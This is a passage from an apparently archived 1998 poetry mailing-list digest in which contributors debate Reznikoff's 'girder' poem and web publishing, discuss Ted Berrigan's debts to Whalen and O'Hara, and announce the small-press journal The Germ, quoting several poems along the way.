way that doesn't set one in front of other. Part of what I had thought he was trying to accomplish had to do with not being lost in the fuzzy glare of undifferentiated phantasmagoric sensory data. Perhaps a simple lesson in imagism, slightly (at all?) refined?

I'm curious how you read the first poem I mentioned. A poem made as an "inscription over the subway entrance"and which follows roughy

This is the gift of Hephestus
The god man say is lame

there is someone waiting to use this computer so I'll finish this another time. thanks david for the opportunity to think about this aain. what meow books did you like?

best,
jimmy joffa

On Wed, 4 Mar 1998, david bromige wrote:

> *This in response to something in one of Joel Kuszai's recent posts.-- It strikes me as an oddly undemocratic vision for Reznikoff--or Oppen, who approved of this line--to (as Joel so well says) "put a halo" around one piece of the rubble, consigning the rest ("huddled masses") to the garbage-scow of history. Consider the reader. S/he identifies with the girder ("I am a girder") and so what does that make the rest of us? Not a brick here and a bike wheel there and a single mitt here but--mere rubble.("rabble," as Joel puns). Or s/he identifies with the rubble--so who is that jerk who thinks he's a girder and we others are undifferentiated trash?*
>
> *"I saw the girder*
> *first was still itself*
> *and then brick by brick*
> *and then the bike wheel,*
> *then the dead cat, each*
> *halo'd with identity"*
>
> *but perhaps american poetry no matter the marxism of its writer cannot transcend the cult of rugged individual ("resistant as a girder") and still be received as fine. I certainly don't care for what I just made up and put in lines. But I do care that this reznikoff girder-poem is in bad faith.*
> *David*

↑ Index

239. Grant Jenkins
Reznikoff's girder, Bromige's faith
Thu 5 Mar 1998

Not that Reznikoff needs to be defended at this point and not that anyone cares anymore, but the only bad faith here in this complaint about Reznikoff is Kuszai's and Bromige's infatuation with their own readings of the poem.

Neither of you ever wonder if the poem might NOT set the girder in a hierarchical relation with its surroundings. Is it possible that "still itself among the rubble" means that the girder is itself still rubble but that such a denomination is not able to totalize it as object? The poem seems to say that the world exists before judgment comes along to sort things out. The identity of the individual is exactly what gets called into question as the object blurs such distinction.

Another problem is that, when you read the poem in context, it seems obvious to me that there is no such halo or aura given to this image or any other detail of Reznikoff's poems. 'Profane' and 'sacred' have no place in Reznikoff's lexicon because he does not categorize the world as such.

I think you are barking up the wrong girder.

Grant Jenkins
University of Notre Dame

↑ Index

240. Karen Kelley
Re: a writer's job
Thu 5 Mar 1998

---

laura and jeff wrote:
>
> >"A writer's job is to write, whatever means are at their disposal"--
> >
> >I love poetry and wish more people loved it as much as I do--
> >
> >But I don't think that a writer's "job" is necessarily to write--
>
> i would say: a writers job is to exist. by definition: a writer writes. it
> need not be a "job", it just is.

Here's a quote from my favorite sculptor, Eva Hesse:

"One of my first visions when I woke up from my operation was that I didn't have to be an artist to justify my existence, that I had a right to live without being one."

Karen

****

Interviewer: So how do you feel about the path you've chosen as a writer?
Harold Brodkey: Oh, it was all a mistake but what the hell.

↑ Index

241. Tom Orange
Tripwire, Open Letter, Raddle Moon
Thu 5 Mar 1998

---

kevin killian writes:

> *Many of these young people seem to have embarked on some kind of writing degree that presents itself, in "Tripwire," as a kind of grail of disgust. "Writing degree" = "zero"?*

shd call yr-all's attention to the latest _open letter_ entitled "Disgust and Overdetermination: a poetics issue" guest edited by jeff derksen. opening sentence from derksen's eponymous introduction reads: "If, as Sianne Ngai writes in the essay that contributes to the title of this poetics issue, 'disgust, and not desire, is our most common affective response to capitalism and patriarchy,' then much of the work in this _Open Letter_ points to, addresses, and registers its disgust at the logic that creates the social relations that make us want to puke" (7).

much tasty stuff (!) to be had here: work also by deanna ferguson, brian kim stephans, miles champion, clint burnham, nancy shaw & catriona strang, scott pound, louis cabri, andrew levy, rob manery, karen mac cormack, tjsnow, christian bok (from the forthcoming "eunoia" project), caroline bergvall, kevin davies, peter jaeger, darren wershler-henry, dorothy trujillo lusk, mark tadao nakada, and dan farrell.

will also chime in support for raddle moon 16. highlights for me so far -- again, lots to chew on here -- the work by albane prouvost (yes to whoever said it, powerful use of repetition), kati molnar (syntax and use of caps), and oscarine bosquet (tr. michael palmer).

get and enjoy,
tmorange

```
_____________________________________
| To grasp the relation of words to matter, |
| mind, process, may be the greatest task.  |
| -- Clark Coolidge, /The Crystal Text/ --  |
```

~~~
~~~

> *communicating (no body lang, eye contact, hearing a*
> *voice, etc).*
>
> *i *miss* the same things when i*
> *read a letter from a friend or a rejection slip from a journal / so i'm*
> *afraid the tired point has to be made that if you subsitute the word "book"*
> *or "newspaper" or "personal letter" for "web" in your statement above, the*
> *language of your critique sounds suddenly antiquated and reactionary -- if*
> *no "true communication" can take place without "viceral stimulation between*
> *the people communicating", then this pretty much damns the whole written*
> *record, doesn't it?, and not just the web, unless you mean something more*
> *specific by "communication" / not to sound flip, but we're communicating*
> *here, aren't we?*

are we? i don't know you. i don't know what you look like, sound like, etc. i don't know how you live your life. all i have are words floating on a screen. i can make assumptions, and even learn and somewhat communicate. but to me you can only be a collection of electronic words. i assume that someone put them together, but i don't know who it is. so the annalogy of a letter from a friend is false. i know my friends. i spend as much time with them as possible. and when i get a letter: i hold it, read it. sometimes it smells like them or their home. with email: i have electic lights burning my eyes. i hold a mouse and keyboard. granted: getting this email from you is better than nothing, but it's important to realize that people are "settling" for this over going out and talking to people. i know scores of people who just sit in their houses all day on the puter. it's safe. they don't have to try to be anything. but at the same time they can't fully express themselves, and thus get to know anyone really. one fella i know, who has a phd in philosophy (and thus no job), used to be one of my favorite people to talk to. he was so animated and interesting. we'd drink tea and go all night about various subjects. but now he has no time for "talking". he doesn't come out. it's easier to sorta talk to a hundred people, than to really talk to one. okay: i don't know about anyone else: but when i'm reading (anything from whitman to herodotus) i will at times catch myself reading out loud and pacing around the room (both of which horribly annoy my wife). i feel stimulated. i get excited and further annoy laura by reading passages to her and try to get her to talk about it while she's studying or painting. this excitement is inflammed when i go to a reading, or am just being read to by a friend. on the puter i get bored after a while. and yet i sit here because at times i forget about other things. the puter becomes my world. and this world burns my eyes, leaves me alone in a room, etc. yet here i am. all of written history is not damned by this. every book is different in basic physicality, as well as in content. every book leads to a new book: others by that author, biographies, books by contemporaries, sources, etc. this leads to deeper understanding of those we can no longer go and see. (this all leads to discussion, human interaction, in most cases.) and those we

can still see we should demand to see, as the last year has proved, before it's too late. it'd be one thing if the puter was just a tool to get in contact with people, but it is increasingly becoming a substitute for physical contact. and i loose coherence a little easier. jeff.

> There are no hierarchies, no infinite, no such many as mass,
> there are only
> eyes in all heads
> to be looked out of

-charles olson, from "letter 6" (of the maximus poems)

↑ Index

244. Rachel Levitsky
Re: Looking for Address
Thu 5 Mar 1998

HELLO

You prob. have this by now. In case:

g. lombardo: [redacted]

--Rlevitsky

↑ Index

245. laura and jeff
Re: blah blah blah etc...
Thu 5 Mar 1998

---

sorry. i somehow missed that post, but i'll give ya my feelings... i think a lot of people get confused because it is easy to read tb as an extension of frank and co. and so with this simple disqualification they move on to the next poet. they don't get into tb, recognize his individual qualities, etc. i think that this may be the fault of a tendency to only see a "movement" as it's founder, instead of the sum of the parts. each part being an important individual part, without which the whole would collapse. this is also why many "late beat poets" get overlooked, as well as some of the "minor black mountain poets". people just as good, if not better, than their "elders", but overlooked due to basic similarities and thus marginalized. jeff.

>I recently asked you all why some poets like Ted Berrigan are ignored by the
>"academy" and no-one was interested enough to reply about how they see
>Berrigan's work, well I guess you all are too busy talking about the WWW!,

>I suppose the academy of the future is closing its doors to argue about
>publishing on the web? If anyone wants a break, write to me and explain why
>some critics call Berrigan an "ardent disciple" and like some kid brother to
>Frank O' Hara. An imitator. His writings mean alot to me, and I would like
>some discussion on the matter.
>

There are no hierarchies, no infinite, no such many as mass,
there are only
eyes in all heads
to be looked out of

-charles olson, from "letter 6" (of the maximus poems)

↑ Index

246. **Steve Tills**

Re: web publication, etc.

Thu 5 Mar 1998

One of the facets of the web that I like is that writing will increasingly be able to exist, be, without attachment to a human being, i.e., no "name," no personable voice characteristics, no attractive or charismatic person attached--in short, an increase in anonymously generated language objects whose sole value will be what is on the page. One among many reasons I would like to see more of this someday is the thought of writers who have been limited in mobility (thus couldn't do a lot of readings to get people to look seriously at their writing), or limited in oral motor faculties (thus couldn't get people to hear the inflection of their "voices"), or limited by a host of social and material advantages (thus couldn't buy attention to their writing), or limited in psychological lust for attention (thus couldn't or wouldn't want more from their writing than that it exist).

laura and jeff wrote:

> *i've been following the thread relating to this with interest...*
>
> *methinks it comes down to this:*
> *the web is good for wide opportunity and collective action. but the fact is:*
> *we are living in a world that is quickly alienating itself from itself via*
> *any source it can. the web is adding to this is two major ways:*
> *1) it gives the guise of communication, but with out any*
> *kind of physical relationship between those*
> *"communicating" with*
> *each other. so no true communication can take*

place due
to a lack of viceral stimulation between the people
communicating (no body lang, eye contact, hearing a
voice, etc).

*i *miss* the same things when i*
read a letter from a friend or a rejection slip from a journal / so i'm
afraid the tired point has to be made that if you subsitute the word "book"
or "newspaper" or "personal letter" for "web" in your statement above, the
language of your critique sounds suddenly antiquated and reactionary -- if
no "true communication" can take place without "viceral stimulation between
the people communicating", then this pretty much damns the whole written
record, doesn't it?, and not just the web, unless you mean something more
specific by "communication" / not to sound flip, but we're communicating
here, aren't we?

are we? i don't know you. i don't know what you look like, sound like, etc.
i don't know how you live your life. all i have are words floating on a
screen. i can make assumptions, and even learn and somewhat communicate. but
to me you can only be a collection of electronic words. i assume that
someone put them together, but i don't know who it is. so the annalogy of a
letter from a friend is false. i know my friends. i spend as much time with
them as possible. and when i get a letter: i hold it, read it. sometimes it
smells like them or their home. with email: i have electic lights burning my
eyes. i hold a mouse and keyboard. granted: getting this email from you is
better than nothing, but it's important to realize that people are
"settling" for this over going out and talking to people. i know scores of
people who just sit in their houses all day on the puter. it's safe. they
don't have to try to be anything. but at the same time they can't fully
express themselves, and thus get to know anyone really. one fella i know,
who has a phd in philosophy (and thus no job), used to be one of my favorite
people to talk to. he was so animated and interesting. we'd drink tea and go
all night about various subjects. but now he has no time for "talking". he
doesn't come out. it's easier to sorta talk to a hundred people, than to
really talk to one.
okay: i don't know about anyone else: but when i'm reading (anything from
whitman to herodotus) i will at times catch myself reading out loud and
pacing around the room (both of which horribly annoy my wife). i feel
stimulated. i get excited and further annoy laura by reading passages to her
and try to get her to talk about it while she's studying or painting. this
excitement is inflammed when i go to a reading, or am just being read to by
a friend. on the puter i get bored after a while. and yet i sit here because
at times i forget about other things. the puter becomes my world. and this
world burns my eyes, leaves me alone in a room, etc. yet here i am.
all of written history is not damned by this. every book is different in
basic physicality, as well as in content. every book leads to a new book:
others by that author, biographies, books by contemporaries, sources, etc.
this leads to deeper understanding of those we can no longer go and see.

> *(this all leads to discussion, human interaction, in most cases.) and those we can still see we should demand to see, as the last year has proved, before it's too late.*
> *it'd be one thing if the puter was just a tool to get in contact with people, but it is increasingly becoming a substitute for physical contact. and i loose coherence a little easier.*
> *jeff.*
>
> *---*
>
> *There are no hierarchies, no infinite, no such many as mass,*
> *there are only*
> *eyes in all heads*
> *to be looked out of*
>
> *-charles olson, from "letter 6" (of the maximus poems)*

↑ Index

247. **joel lewis**
berrigan
Thu 5 Mar 1998

I hope folks don't mind me banging my own tambourine, but I'd like to recommend Ted Berrigan's On The Level Everyday: Selected Talks On Poetry and the art of living, edited by me and published by Talisman House (at better book stores and thru amazon.com)-- it is wonderful example of a poet thinking thru process and letting young writers in on the serious business of being a poet. The book is a result of a vow I took when ted died--that I would do what I could to keep his work alive. That younger writers, who can only imagine his bigger-than-life personality, have taken to his work moves me.

The genius of the work is how it moves easily between the radical and personal poetic. Ted, himself, came to see the Sonnets late in life as work about "growing up in a certain way." He thought that Tambourine Life was more influential as it was in a Paul Carroll anthology that did about 40,00 copies + being in Many Happy Returns that went thru two printings.

Ted was amazingly catholic in his taste. He loved poets like Aiken (to whom he mailed the sonnets--see aiken's response in his selected letters) & Roethke & felt distant from poets-on-a-mission types like Ted Enslinn. Whalen was of hugh importance --especially in spatial arrangement and freedom of movement & if gary lenhart is out there lurking, he once suggested to me that whalen's decline as an influential poet has a lot to do with the demise of his biggest booster -- Ted.

Blackburn may have been Ted's hidden poetic influence to the point of Ted denying his poetic influence and only acknowledging a certain moral influence. And among the grunge--ashbery. Ted told me that when he met robert raushenberg for the first time, the painter said to him: "Oh, you're the guy who imitates Ashbery." Ted sd: "That wasn't so great, but if he said:'You're the guy that imitates O'Hara " -- then I'd REALLY be crushed". I was teaching some of his poems in my class and noticed his sense of shifting surface and language texture is much like the pre-self portrait ashbery.

Which brings me to a point that I have never seen much discussed on the list: POETRY & CLASS. Ted was one of the few major poets to come from a working class background -- and he was constantly aware of it.,One major reason he held no non-poetry job from '66 to his death had a lot to do w/ his father, who was being trained to be classics scholar and had to give up those dreams and work in a bread factory when his dad died. Ted's dad died after a petty dispute w/ his bosses over automation. Ted said that he never wanted this to happen to him. I know among the theory crowd, these bits of personal anecdotes are no's-no's, but they go a long way in explaining ted and his poetry. I think the affinity that ted and olson shared (they once spent all night on a park bench in buffalo talking poetry!) was the shared working class/catholic/ ethnic background. In retrospect, that was part of my attraction to ted as a person was he knew from the world of scrimping and chuck steak I grew up in. This may have been the reason who moved away from being labeled an avant-garde poet and settled into a variant avant-populism of the poetry from Red wagon on.

Joel Lewis

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248. Miekal And

[Fwd: Re: sellotape poet]

Thu 5 Mar 1998

---

by westbyserver.westby.mwt.net (8.8.7/8.8.6) with ESMTP id AAA21448
for <[redacted]>; Thu, 5 Mar 1998 00:44:33 -0600 (CST)
by mailout3.mailbase.ac.uk (8.8.x/Mailout) with ESMTP id GAA04857;
Thu, 5 Mar 1998 06:42:32 GMT
by naga.mailbase.ac.uk (8.8.x/Mailbase) id GAA28260;
Thu, 5 Mar 1998 06:42:01 GMT
by naga.mailbase.ac.uk (8.8.x/Mailbase) with SMTP id GAA28252;
Thu, 5 Mar 1998 06:41:59 GMT
id aa0208565; 5 Mar 98 6:33 GMT
Date: Wed, 4 Mar 1998 17:18:44 +0000
Subject: Re: sellotape poet

From: Sholto Ramsay <[redacted]>
To: [redacted]

> *I have a student who is interested in finding out more about a poet who was apparently featured on BBC a week or so ago. He sellotapes his poems to lamposts. Does anyone know his name and/or his whereabouts? Barry Edwards*

I believe that he is Austrian and based in Vienna. He is much disliked by the local burghers who believe that he interrupts the profitable flow of consumers into their stores. He also constructs long strings of poems and ties them on strings that are strung between lampposts.

Local radio stations ask is this art?

sholto Ramsay
Director of New Media
Institute of Contemporary Arts
12 carlton house terrace. london sw1 5ah uk
44 [redacted] fax 44 [redacted]
mailto:[redacted]
http://www.ica.org.uk
http://www.newmediacentre.com

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249. Macgregor S Card
The Germ: a journal of poetic research
Thu 5 Mar 1998

Thought we'd take advantage of the current discussion of small press magazines, and announce the second issue of our journal, The Germ, due out this April.

If you haven't seen the first edition, copies are still available. Includes work from Barbara Guest, John Godfrey, Peter Gizzi, Clark Coolidge, Keith and Rosmarie Waldrop, Lyn Hejinian, Pam Rehm, Fanny Howe, Jena Osman, Juliana Spahr, Jackson Mac Low, Miles Champion and many others. The journal's perfect-bound, 224 pages with a smashing cover by Rikki Ducornet, and ends with reviews and commentary.

Line-up for issue 2: Bernadette Mayer, Anne Waldman, Michael Palmer & Ben Watkins, Nathaniel Mackey, Aaron Shurin, Ray DiPalma, Lewis Warsh, Elfriede Czurda (trans. Rosmarie Waldrop), George Albon, Albert Mobilio, Beth Anderson, Amy England, Chris Stroffolino, Richard Kostelanetz, Brian Schorn, Lisa Samuels, Gregory St. Vincent Thomasino, Devin Johnston, Anne Tardos, David

Trinidad, Gale Nelson, Jay Dillemuth, Rod Smith, Elizabeth Robinson, Marie Etienne (trans. Anne Talvaz), and two surprise features from the poetic ether!

Individual subscription rates are a reasonable $12 for two issues, $20 for four, $28 for six. Make checks payable to The Germ and mail to: The Germ, P.O. Box 8501, Santa Cruz, CA 95061.

We are distributed by Small Press Distribution and Bernard DeBoer; perhaps we are already available in your area. Give us a write!

Macgregor Card and Andrew Maxwell, editors.

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250. Macgregor S Card
The Germ wants your book reviews!
Thu 5 Mar 1998

Just thought we'd add this note:

The Germ is now accepting book reviews--critical writing has been particularly hard to come by. If you have material anywhere from 2-8 pages in length addressing contemporary poetic works or issues, we'd love to see it.

Specific books we'd be interested in receiving reviews of:

Fanny Howe, _One Crossed Out_
Sianne Ngai, _Discredit_
Andrew Joron's forthcoming book
Lisa Robertson, _Debbie, An Epic_
Keith Waldrop, _Analogies of Escape_
Merrill Gilfillan, _Satin Street_

(though this is by no means an exhaustive list)

We're currently printing reviews of Peter Gizzi's _Artificial Heart_ and Lisa Robertson's _XEclogues_, and have previously run pieces on Susan Howe's _Frame Structures_, John Clarke's _In the Analogy_, Will Alexander's _Towards the Primeval Lightning Field_.

If you happen to already have uncommitted work, and could get it to us within the next week, we still have tentative space open for issue #2. Otherwise, work received will be considered for the third edition, due out in the fall. There's an unfortunate poverty of critical writing in small poetry magazines, and this is an area we'd like to expand in our own.

Please send all material to: The Germ, P.O. Box 8501, Santa Cruz, CA 95061.

Or drop us a note at [redacted]

Thanks

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251. david bromige
reznikoff's girder (infatuation)
Thu 5 Mar 1998

It hardly seems useful of Grant Jenkins to say of this topic "not that anyone cares anymore" while in the process of addressing it with fresh information. Nor does it seem useful to characterize my reading (& Joel Juszai's distinctly other reading) as "infatuations," then for him to offer his own reading, presumably likewise a matter of infatuation. Or if it is not, perhaps he would clarify the distinction between "infautate" and "non-infatuate" readings. I.e.,is an infatuated reading one one disagrees with? If so,there are surely more handy terms to apply in making such distinction.

I'll try one more time. The phrase "still itself" is the one that strikes me as less than alert. We are not concerned with the selfhood of _girders_ here, in this poem. Surely that phrase adds something to what Grant calls "perception."

"Look, a girder there among the rubble " would register perception. But because it can be read (and surely not perversely) as "Look, that girder is still itself among that rubble which isn't," I have, for cause I previously stated, found it halfbaked. An opinion I hold of very little work by either Reznikoff or Oppen. And so it has long intrigued me that Oppen singled it out (as Rez the girder) for something like praise.I agree with Grant Jenkins that Reznikiff isn't in thre habit of "haloing" objects, and that is what I object to here, where I believe Joel is correct in saying that he does.

I'm willing to admit at this point that my trouble with this line =a blind spot of mine, because I don't think I can articulate my impression any further. Thanks for the debate. David

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252. David Cuthbert
Re: Ted Berrigan
Thu 5 Mar 1998

ScoutEW wrote:
>
>I recently asked you all why some poets like Ted Berrigan are ignored by the
>"academy" and no-one was interested enough to reply about how they see
>Berrigan's work, well I guess you all are too busy talking about the WWW!,
>I suppose the academy of the future is closing its doors to argue about

>publishing on the web? If anyone wants a break, write to me and explain why
>some critics call Berrigan an "ardent disciple" and like some kid brother to
>Frank O' Hara. An imitator. His writings mean alot to me, and I would like
>some discussion on the matter.

If you are near a university library, try to track down the latest issue (winter 97, I think, number 38.4) of the academic journal _Contemporary Literature_. It contains an excellent and fairly lengthy (31 pages) article by Libbie Rifkin entitled "'Worrying about Making It'": Ted Berrigan's Social Poetics." The essay illuminates a wide range of topics, including T.B.'s relationships with Ashbery and O'Hara and his editing of the magazine _"C"_. The focus is on how, for all their grungeiness, The Sonnets hitch their candour to a prospective stake in their future reception.

One of my favourite Berrigan artifacts is the recording of him reading "Red Shift" on the CD included with the _Exact Change Yearbook_. I don't have a printed copy of the poem, so this will be inaccurately rendered, but I gasp and tremble every time I hear his voice's faltering insistence in the closing passage:

I am only pronouns and I am all of them.
And I didn't ask for this you did
I came into your life to change it
and it did so
and now nothing will ever change that
And that's that.
            Alone and crowded
unhappy fate. Nevertheless,
I slip softly into the air.
The world's furious song
flows through my costume.

only pronouns,
David Cuthbert

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253. Miekal And
Musical Palindrome
Thu 5 Mar 1998

from Literature Nation

debut brag sore tip radar nod. dad dotes mile van. edit non word team nor page look. cuckoo beer tred. no, who read set in bard's evil kook lives drab nites dear. oh wonder tree book. cuckoo leg apron meat. drown on tide. navel, Im set odd, add on radar pit. eros garb tubed.

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254. Alan Myouka Sondheim
you and a note and you again
Thu 5 Mar 1998

(I've been on nomail for the past ten days or so because I'm traveling thorugh Australia and have very poor access. But I did want to send this fairly traditional piece along because it haunts me, from Tom Clark's The Lake I think through to dreaming on and off and through the screen - and there's also the sad fact I'm returning early to the States, wandering once again, after the end of April. Or so it seems. So it's also the writing - for better or worse - of someone _unhinged,_ say, beneath the waters... - Alan)
---

you

projecting into the interior of my mind,
upon the screen of my mind's interior, I see
you and several others congregating
around a fire or other projection of you,
or mind, or waters where you will sail away

and there is a projection on the sail, of you,
of others on the screen of my mind's interior,
in or on the waters, the drinking boat, grey sky,
there the waters where you sail away

and you, I call, hey you, I am on your screen,
sailing away with your grey others gathered
around a fire, it is beautiful in boats and fires,
beautiful in waters, grey skies black
with stars, with boats and fires and oceans

and please make sounds, speak clearly,
and I will hear your sounds, please make
some images as well, there, on the boat,
drunken and lurching through the seas,
on the waters of our mind's interior,
in the blackness of forgotten stars

and you are on your sails, you are on them,
and I am on you, sailing away in my mind's interior,
and there's a fire, we are gathered around,
watching a fire projected on the fire, you see
me projected onto me, you see the others,

grey and on the others, you see yourself, I say,
in the middle of the waters fuelled
by the blackness of forgotten stars

and where is everyone, and why,
and what is gathering, what do you see,
you will look down, I say, look down, you do,

you see me on the screen of my interior,
I see your mind's interior, and you see me
on the others grey and gathered near the fire,

and you, you see yourself, and I see you
in the middle of the waters fuelled
by the blackness of forgotten stars

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255. **rsillima**
Whalen, Berrigan, Coolidge
Thu 5 Mar 1998

Coolidge met Phil Whalen at the '63 Vancouver Poetry Festival where he also met many other folks (including one of the attendees, a then very young Michael Palmer, with whom CC would go on to edit Joglars).

I can't think of where Coolidge may actually talk about his relationship to Whalen in print, although I've heard him do so in person. However, if you want to see the work that I think is almost the perfect wedding of the influences of Whalen AND Berrigan, it's THE ROAD LOG, printed in the Coolidge issue of Big Sky (ed. by Bill Berkson, intro by Tom Clark), pub. in Bolinas in 1972. Two long and "airy" to type up this late before I trundle off to work this morning.

One reason why I think there's been so little critical discussion to date of Ted Berrigan is that he was such a strong personality and would have so obviously disapproved of such, that people who actually knew the man feel that inhibition internally. There was a good 15 year break after the death of Jack Spicer when I think the same general effect took place, the only person actively promoting Jack's work being Paul Mariah as part of his campaign to make room for a specifically gay poetics. But so many people in Jack's world retreated from the SF poetry scene (to Vancouver or Bolinas or just away from poetry, as Harold Dull did in spite of those fine early books) and so there wasn't the same sense of them being around to disapprove of the discourse (Can you imagine what Jack would have thought of that boundary2 issue??) when us "younger" folks who didn't know Jack personally (there's mention in the Kevin/Lew bio of Spicer --

due out now in just 8 weeks -- of a party on Etna at the Berkeley Poetry Conference in '65 that I attended where apparently Spicer was present, though I certainly was unaware of it at the time) could come forward without that restraint. When I gave my talk on Spicer's Language at 80 Langton Street I wasn't sure there would be any audience, and was shocked literally to see it become an SRO event -- there were all these "closet" Spicer afficianados out there.

Just as there are now ones of Berrigan (Jordan, I personally love The Sonnets, although I agree that it was an unrepeatable work). But Ted's students, formal and otherwise, are everywhere and very active in today's poetry, and I think they all know exactly how Ted would react to a boundary2 type of treatment.

We may have to wait another 10 years before such discourse really takes off.

Also, even if Ted looked like Eddie Vetter's father, I don't believe you could call anyone whose music collection in 1959 centered on Arthur Godfrey "grunge."

Ron

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256. **henry gould**

Re: Whalen, Berrigan, Coolidge

Thu 5 Mar 1998

On Thu, 5 Mar 1998 06:17:09 -0600 <[redacted]> said:
>
>One reason why I think there's been so little critical discussion to date of
>Ted Berrigan is that he was such a strong personality and would have so
>obviously disapproved of such, that people who actually knew the man feel

Didn't the Language Poets disapprove of him? That might be another reason.
>
>Also, even if Ted looked like Eddie Vetter's father, I don't believe you
>could call anyone whose music collection in 1959 centered on Arthur Godfrey
>"grunge."

Do we have to keep using the narrow current top-40 meaning of this word to gently mock what I was saying? The term "grungy" has been honorable slang for the grittiness of street life since long before guys in Minneapolis & Seattle stopped tucking in their flannel shirts. That's all I meant & mean & an elephant's word is 100%. - Henry Gould

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257. **Gary Sullivan**
"I take the present"
Thu 5 Mar 1998

Dear Ted Heads:

The moves, sense of humor, mock-heroics, self-questioning, and collage-effect in Berrigan's work of the mid to late sixties are all things taken, in some part, from Philip Whalen's work of the previous decade. But the crucial element Berrigan latched onto, the most interesting to me, anyway, is how Whalen's work is situated in time. Whalen described his poems as "continuous nerve movies," a fitting description of poems of Berrigan's like "Tambourine Life" and "Train Ride."

Whalen's poetry, though often "chatty" and focused on the "quotidian," differs from O'Hara's in that, when O'Hara says "I do this, I do that," he's referring to the past. What I experience, reading O'Hara, is more akin to memory than to immediate experience:

AT THE OLD PLACE

Joe is restless and so am I, so restless.
Button's buddy lips frame "L G T TH O P?"
Across the bar. "Yes!" I cry, for dancing's
my soul delight. (Feet! Feet!) "Come on!"

Through the streets we skip like swallows.
Howard malingers. (Come on, Howard.) Ashes
malingers. (Come on, J.A.) Dick malingers.
(Come on, Dick.) Alvin darts ahead. (Wait up,
Alvin.) Jack, Earl and Someone don't come. [...]

I don't imagine O'Hara writing that "as it happens," despite his persistent use of the present tense. (Hard to skip and write at the same time. Or have lunch with LeRoi Jones, etc.) Whalen, however, is not, like O'Hara, describing (or sometimes pretending to describe) his life. He is describing the act, and the situation, of writing. Or he is (forgive the enigmagism) "writing himself writing":

DELIGHTS OF WINTER AT THE SHORE

A little sauce having unglued me from my book
I take the present (Ernest Bloch on the phonograph)
I salute the fire in the fireplace
The red sectional settee
All the potted plants I moved onto the diningroom table
so they could get more light
And beyond the window North Pacific Ocean

An editor writes to me, "Takes, takes, all the time takes ... what
are you scared of, nobody's trying to cut your throat ...
Why don't you just sit down & write a novel?"

& wild with energy & power I'm curled up in the grey reclining chair Carefully
writing one letter at a time

Check the barometer ..... falling
Check the swiss steak in the oven .....
.....turn up the heat

It goes like that, all the "talent," the "promise"
My mortgage very nearly foreclosed
My light going out

X. Keeps telling me how sad everything is
(He cries all the time)
Maybe he's right, but I don't *see* sad
& the pursuit of happiness around a square track

How loyal have I been to myself?
How far do I trust .... anything?
I wonder "self-confidence" vs. years of self-indulgence
(am I feeling guilty?)
How would anything get done if I quit? Stopped
whatever it is you choose to call it?

Put it as fancy & complicated as possible:
Here I sit drunk beside the biggest ocean in the world
Tosca destroying me on the phonograph
Everybody else in the world dying of starvation, cruelty
lack of my love

No amount of promise or talent about to do anything to fix that.
It was 20 years ago they worried about what I might do
Now everybody can see what I've done, what I'm doing

Everybody starves
Everybody is a huge (biological) success
Everybody's maybe like me: perpetually scared
& not giving a shit
As long as there's beef in the oven
Out of jail
Drunk

Everybody says Horace was a two-bit snob, writing
"Odi profanum vulgis"

Maybe he meant he hated himself for being lazy, preferring old wine
Pretty girls & sunshine
To the dignity & usefulness of public office?

Now the Second Act of Tosca:
Big party downstairs, the cantata going on
Police interrogation upstairs, Cavaradossi on the rack
(These palazzi--a real idea of splendor)
& topping it all off, as if it explained E V E R Y T H I N G

"Vissi d'arte, vissi d'amore ..." I've lived for Art,
I've lived for love ..."
(incontinently stabbing the villain)

DIE! DIE! DIE!

I eat an olive out of my glass

TOSCA: "... tutta Roma!"

& 1 is left

Some psychiatrist says "Quotation, a relaxation for, an evasion by the id."

I eat the second final olive & pretend to hurl my glass
into the fireplace
I don't actually throw it, the glass isn't mine & there's a screen
in front of the fireplace [...]

"Writing himself writing"--I think of Andrew Levy's "The shadow of the head falling over the page" ... as well as much of the last 20, 30 years of investigation. Whalen, I tend to think, is one of the least acknowledged living influences of late 20th Century American poetry.

In an interview with Anne Waldman, Whalen describes his discovery of "writing like this," with "IF YOU'RE SO SMART, WHY AIN'T YOU RICH?," written in 1955: "... the first time I got out of the whole imagist kind of idea that I had been into for years, that whole thing about a poem should be short, exact, with not very many words and that it should have one complete feel or smell to it. And that poem was the first place where I could suddenly see that it didn't necessarily have to be that but it could be what I was going to be or what it was going to be itself, and it started making itself and I started having to go along behind it and write it the way it was ... To me at that time that poem 'IF YOU'RE SO SMART' was a great burst through, and all my dopey theories and hangups and things about writing and a thousand other things suddenly disappeared ..."

Note how he describes the experience of writing: "it started making itself and I started having to go along behind it and write it the way it was"--though not explicitly stated, Whalen is referring here to a shift in terms of time-relation with

respect to the poem. Though he didn't care much for Spicer, as a person or a poet, what Whalen seems to be describing is the "dictated poem." Or, more significantly, it suggests what he got from Gertrude Stein--a great, early hero to him as well as friend & fellow poet Lew Welch. Stein, in certain of her work, writes out of a continuous present, and one could say of much of her work that it, too, is a kind of "continuous nerve movie." (Certainly that's true of "Tender Buttons.") Writing you follow, not that follows you.

This, by the way, is maybe what Coolidge got from Whalen and/or Stein--his work, certain of it, does seem to exist in a continuous present, for instance this, from his meditation on Drurer:

The world a height now brine, estuaries drained to the very pole. Geometrics, a lingual dent? Drainage, albany. Where at the last stand all this sphere that herded me? My cell a corner on the filtering world, all out there herein my belts. Things in trim they belt me, beg me, array my coined veils. Brass, copse of my trends to needles never suffered their pricks. The world in anger is an angled hole? Drop my pliers, sit hemmed in, which have made has clad me in. Meld thought is as droop. [...]

It doesn't "resemble" Whalen on first take, but, thought about, after having read much of both poets, an essential connection begins to seem more than plausible.

But back to Berrigan & Whalen. This poem, written from 1963-1965--Berrigan or Whalen?:

MY SONGS INDUCE PROPHETIC DREAMS

N E C E S S I T Y

is the mother of invention

INVENTION leads to great
wealth, responsibility,
and shady politics, if there's
really LOTS of money in-
volved.

Greatness is all.
Use autosuggestion in order to
obtain money and power and
energy.
I shall be 41 years old on 20:x:64

*

Self-indulgence.
Retroactive self-indulgence:

?
        reve d'amour

*

Work again.
find a loss has been
sustained.
(Later)
the city goes with us when we travel
(First line of another poem)
Literary muffins
they skate!
a mistake for Rexroth?
it must be in the elevator
do not bunch   bunch bind
too sharp   bind or sag   droop or sag
no iridium   try to write carefully. Bundestag?

*

It's very hard to work when I'm hungry and it doesn't seem
likely that I shall have anything to eat today ... some time
next week, yes. I have a tentative dinner invitation
for Monday ... but that's merely possible
it's just as probable that I
shall receive $10,000 in the mail on Monday morning. [...]

Well, a real Berrigan fan will know he rarely used "shall," but other than that, the resemblance, I think, is remarkable. Another shot of Whalen, at random (from 1962):

THE SATURDAY VISITATIONS

1.

Belligerence!
Mixed bathing, and
